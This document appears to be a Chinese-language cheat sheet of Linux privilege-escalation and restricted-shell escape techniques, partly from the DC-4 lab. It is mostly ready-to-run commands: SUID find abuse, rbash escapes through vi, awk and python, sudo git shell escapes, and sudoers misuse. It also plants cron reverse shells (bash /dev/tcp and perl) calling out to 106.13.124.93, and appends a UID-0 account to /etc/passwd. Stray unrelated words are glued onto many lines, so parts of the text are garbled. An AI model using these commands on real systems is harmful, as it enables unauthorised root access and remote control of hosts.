运行某些程序时暂时得到root的权限,例如ping(socket须要root才能运行)
搜索符合条件的能够用来提权的:php
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; find / -user root -perm -4000 -print 2>/dev/null 三种均可以
搜索能够提权的程序,通常有如下 :python
nmap vim find Bash More Less Nano cp
举例:find提权linux
find / -perm -u=s -type f 2>/dev/null
发现find能够利用git
普通用户,进入到/tmp目录下,而后新建一个文件。github
touch abcd find abcd -exec whoami \;
会发现已是root权限shell
rbash就是受限制的bash,通常管理员会限制不少命令,例如whoami cd cat等不少经常使用的命令,不过确定会有命令可使用,咱们能够查看$PATH有哪些,或者本身挨个试
echo $PATH #查看本身可使用的命令
less,ls,scp,vi 是咱们能够用的
尝试用如下来绕过ubuntu
#干就完事了 1. vi test :!/bin/sh 2.ed 3.ne 4. more less more test !'sh' 5. man ls 操做同more less 6.find /usr/bin/find /etc/passwd -exec whoami \; /usr/bin/find /etc/passwd -exec /bin/sh \; 7.nmap 低版本 8.awk awk 'BEGIN {system("/bin/sh")}' 9.python python -c "import os;os.system('whoami')" python -c "import os;os.system('/bin/sh')" python -c "import pty;pty.spawn('/bin/sh')" 10.ruby 11.perl 12.php 13. BASH_CMDS[a]=/bin/sh;a
最后用13成功绕过了rbash,进入了人shvim
赶忙试试用/bin/bash进入bash,没有权限的提高,我就以为这个好用,能用tab补全
执行: export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin 或者:PATH=$PATH:/bin PATH=$PATH:/usr/bin
就能够正常使用了
sudo git help config !/bin/bash或者!'sh'完成提权 sudo git -p help !/bin/bash
下载地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zipruby
有的时候,普通用户常常要执行某个命令,可是常常须要sudo输入密码,咱们就能够经过配置/etc/sudoers文件来实现普通用户某个命令权限的提高,可是若是一旦是给了用户写入的root权限,好比vi,那么这个普通用户一旦被入侵,就能够经过vi来提权
首先来看/etc/sudoers chmod u+w /etc/shudoers vi /etc/sudoers
看到这里 # User privilege specification root ALL=(ALL:ALL) ALL
root:表明用户 第一个ALL:之网络中的主机,我也不知道什么意思,可是这个all仍是不动好了 第二个(ALL:ALL):指以谁的身份去执行,root就好了 第三个ALL:指全部的命令,能够本身制定,好比/bin/ls,/bin/nc
看下面的图: 表明了用户zaq能够以root的权限运行ls指令
前边要加sudo,能够看到zaq用户成功查看了/root目录的结构
sudo -l 显示出本身(执行 sudo 的使用者)的权限
若是这个/bin/ls变成了能够写入文件的命令会怎么办呢?好比: /usr/bin/tee
这是在DC-4靶机上遇到的 ##################################################################### 先看如下tee的用法 zaq@instance-f95a3vkt:/bin$ /usr/bin/tee --help Usage: /usr/bin/tee [OPTION]... [FILE]... Copy standard input to each FILE, and also to standard output. -a, --append append to the given FILEs, do not overwrite -i, --ignore-interrupts ignore interrupt signals -p diagnose errors writing to non pipes --output-error[=MODE] set behavior on write error. See MODE below --help display this help and exit --version output version information and exit #################################################################### 把输入写入文件,若是是-a的话就会在最后新起一行追加内容
1.corntab反弹shellbash
当 /bin/sh指向/bin/dash的时候(ubuntu默认这样,当前的靶机也是这样),反弹shell用bash的话得这样弹: * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1" 这样弹shell的时候不知道为何很慢,耐心等等
或者: */1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2.suid
值得注意的是:chmod 4777 /bin/bash不会有这种效果(曾经看到这个解答,我给忘了,你不用管为何了,本身试试就行了)
3.passwd添加用户
test:x:0:0::/home/admin:/bin/bash
4.sudoers文件
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers